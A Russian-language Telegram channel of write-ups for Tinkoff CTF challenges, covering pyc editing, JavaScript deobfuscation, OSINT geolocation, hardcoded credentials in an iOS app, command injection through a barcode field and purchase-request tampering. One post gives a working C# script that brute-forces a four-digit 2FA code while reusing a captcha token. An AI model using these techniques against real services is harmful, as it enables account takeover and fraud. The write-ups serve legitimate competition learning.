решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
Forwarded from Борис Бескровный
#капибайкер
в исходниках комментируем перезапись pyc, чтобы наши модификации не перезатирались при запуске
открываем pyc в текстовом редакторе, видим поле, догадываемся, что ^<>V это изменение направления при достижении стены, f - финиш, # стены и проходы - пробелы, конструируем себе поле
запускаем игру и получаем флаг
2
Forwarded from Борис Бескровный
#капиботы
кажется, тут что-то ещё есть внизу?
идём в свойства рисунка и правда! нам показали не весь рисунок. меняем параметры обрезки и идём сдавать флаг
2💯1
Forwarded from Борис Бескровный
#капибьюти
начинаем сверху, да-да, карточки под буквами "САЛОН КАПИБЬЮТИ СПА" обозначают эти буквы, идём вниз и разгадываем, что было в купоне.
💯31
Forwarded from Борис Бескровный
#капибоксер
в инструментах разработчика находим обфусцированный код
воспользуемся деобфускатором https://obf-io.deobfuscate.io/, чтобы получить более-менее читабельный код
выполнив его в консоли браузера обнаружим, что это массив 53х53 из нулей и единиц
любым удобным способом попробуем получить из них картинку, которая при масшабировании становится qr-кодом
4👍2👎1💯1
Forwarded from 𝔏𝔢𝔬𝔫𝔦𝔡 𝔇𝔯𝔲𝔤𝔬𝔳
Привет!
#Капирнетика
1) находим ссылку на телеграм (там пароль от testadmin)
2) Замечаем что капчу можно использовать несколько раз в хедерах через бурп
3) перебором подбираем 2фа

using RestSharp;

var client = new RestClient("https://t-capyrnetics-d2dra09u.spbctf.org");

int totp;
for (totp = 456; totp <= 9999; totp++)
{
Console.WriteLine($"{totp:0000}");
var loginReq = new RestRequest("/login", Method.Post);
loginReq.AddHeader("Content-Type", "application/x-www-form-urlencoded");
loginReq.AddHeader("Cookie","__cfduid=8269e6ad7729f954eff40e7a1ed636ab; verification=dmVyaWZ5OjE3NDE1NDM4MjA0MTgxMzMxMzd8MTc0NTIzNzk4NS40NkNHRVd1bkRMU0R5d3NESkRqVjJPUi1mLVU2ajZjRk1ySHdsemRRZ1RVPQ==");
loginReq.AddBody($"username=testadmin&step=2&totp={totp:0000}&g-recaptcha-response=03AFcWeA4g6Dix1Cuk1UwyGGKbLDS8MfHjAPue3b6RNQHUF3Q9I5f6V7X2x9KmmMm_qyYrZ5EsofDNsXNyTZaQpY-d7yct2uPj-sXpkQGEw6lf9GhtU8-u-X844Dyb7YOvGBTXHzqX0huRZUIAgkXevcrHnEWQ7UyOMJphWn6tVBtezspXO48RT9dH6YNv1uhvhanjMpooO5WKGrlxD6s45_lw_iqCQXqqRTSMrWwhTHbuiRxC704RAKTWMrO3sQTt4LlZtmrRImZbx4WN5D7_Wid6RWbMWwqaxW-2FTDhW2x4HjxzXeVgUBktJlVtwaI_fUZV2IZREP2ky4GPmCYp3T24JBJpOvx4nB2pKVS4ml9zgooEhD9uk-b3XWo-DsUXRw6zNVySViz8E7VcYCuwHFPRTDOKge2VlISc-CE6DIuh4Fav0xVK3XOLoZL3zULL-ob5CLJwKqkMUx5-KZOC-XuclyjEh9OkzlMyUQOKJc_Lg_xNh9aabZn3s-SRL2LZDquCQZ1SG8syr-KVOXWDOZs72uDW2Kt03goclyiwOG2pc51XNpbEhun8FFocZjWtChvcqzO6SBF6dCgMuHop8GKYtuGTT2y87b2-1ulJpfmeX0MC3OWYz9OpFLt4PaIkkwtJ9tL6Q7ySII1b5bF-7E5is_M7z2UPVYsIAzTHiFB5UBDvT6HEOLwedPEQZoIVTupSCyvJgzDSH278Ue7B6hFOanQ-f8sEh1ptQa_4DP6PlTAGm4yQ-KOiGc5y1-MuFuQygIzg-CBpcyblcj12QAdE3ffd3kAdkSTIivNXH_iEHa_xv_B46FY3D_UBETttubDFOWAle7Rr0FtaapEQ3hHFPV-xS9KipVy2wziqOnqi_Yvfw3H4jDC-u_lcZ05dSWTFXstBzkj5D1yoj_fkpLJC5TpIqS5_q9iLAqs805QospSg91YCHe79VrSAyBLxpni20p3ONTle9GcFJC7xuT71-7iIFyvrzA");
var resp = await client.ExecuteAsync(loginReq);
if (!resp.Content.Contains("Неправильный код"))
{
break;
}
}

Console.WriteLine(totp);
2🤯1
Forwarded from Сергей Руденко ☭Серп☭
#капибоксер

изучив код в инструментах разработчика( file: brain_model.js) вводим в консоль в инструментах разработчика команду:
allow pasting

далее отправляем в консоль код:
let paper = null;

// поиск бумаги погеометрии
brainModel.traverse(obj => {
if (obj.geometry && obj.geometry.type === "PlaneGeometry") {
paper = obj;
}
});

if (paper) {
const scene = brainModel.parent; // получаем сцену
paper.parent.remove(paper); // удаляем из текущей группы
scene.add(paper); // добавляем прямо в сцену

// перемещаем наверх
paper.position.set(0, 1, 0);
paper.lookAt(brainCamera.position);

// сделаем бумагу ярко-красной, чтобы её сразу заметить
paper.material.color.set(0xff0000);
console.log("Бумага перемещена!");
} else {
console.warn("Бумага не найдена!");
}


данный код достает бумагу из сундука и помещает ее выше и всегда повернутую к камере, далее нам остается считать с qr-кода информацию и отправить в нужное поле
1👎1💯1
Forwarded from Сергей Руденко ☭Серп☭
#капибады

в интернете находим сайт КапиПродай, на нем нет ни какой информации
Начинаем искать в интернете по запросу: "Капибады с КапиПродай" и находит канал в тг с озывами
На одной из фотографий видим надпись что писать надо на основной аккаунт.
изучив аккаунт по фотографии в яндексе(по обоям и картинам) находим подходящее помещение, на фото смотрим что за помещение, и копируем его координаты. Вставляем их на сайт капиполиции и задача решена
💯21🔥1
Forwarded from Modal
Banner.rar
194.1 KB
Но вот этим я прям горжусь. НЕ в плане что собой - скорее тем, что смог на пару с гпт это написать - вышло шикарно)
1💯1
Forwarded from weakly
#Капибартер
просто распаковываешь ipa как zip, далее бинарник закидываешь в ida, открываешь debugpanel видишь там
v22 = self;
v21[1] = (id)a2;
NSLog(&CFSTR("This function available only in Debug mode. Tap 5 times in the down right corner to enable it.").isa);
v21[0] = objc_retain(CFSTR("support"));
v20 = objc_retain(CFSTR("th1sisv3rys3cretP@55w0rD"));
v19 = objc_retainAutoreleasedReturnValue(
+[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("https://t-barter-3zrm60ot.spbctf.org/api/v2/auth")));
идешь логинишься, получаешь флаг
💯21
Forwarded from Modal
А ещё задачка с тикетами на парковке:
Смотрим barcode, видим там структуру: number%plate%date

Если с plate и date все ясно, то что за номер - хз, пробуем генерировать (много онлайн генераторов штрих кодов) и скармливать сайту разные коды, видим что меняется тип билета на 2 - earlybird, например. И так доходим до vip, который просит код. А у нас, между прочим и есть задание - найти этот код. Смотрим source и видим, что там всего 9 типов билетов, и последний из них - debug. Дальше, перебором понимаем, что мы имеем структуру ticket_type%plate%date%payload

И перебором понимаем, что мы можем исполнять shell команды. В итоге рекурсивно выводим содержимое файлов и находим искомы ключ
2
Forwarded from Сергей Руденко ☭Серп☭
Капиборд.py
5.4 KB
#Капибаннер

на сайте получил исходную строки и строки по тз, а так же понял правила инвертирования светодиодов по строке и столбцу, написал( без помощью гпт не обошлось) питон-код и он мне вывел на какие светодиоды нажимать, далее протыкал в ручную(можно было как то упростить себе жизнь, но стало лень)
1💯1
Forwarded from Yura
#Капибартер
в файле capibarter-3 внутри архива находим человекочитаемые строчки, из которых понятно, что нужно сходить на /api/v1/auth
там вводим support:th1sisv3rys3cretP@55w0rD и получаем флаг, нажав на любую машину из Либерти-Каписити
2👌1
Forwarded from Сергей Руденко ☭Серп☭
#Капибургер

перехватывал отправляемые запросы и увидел что у каждого передаются определенные уникальные значения, скопировал уникальное значение флага, заказал Капибургер, там есть бесплатная позиция, при отправке на покупку перехватил и изменил в запросе значение бесплатной позиции на ун.номер флага. готово
👍3💯31
Forwarded from Roman
капибездна с брутом на видеокарте
🤯4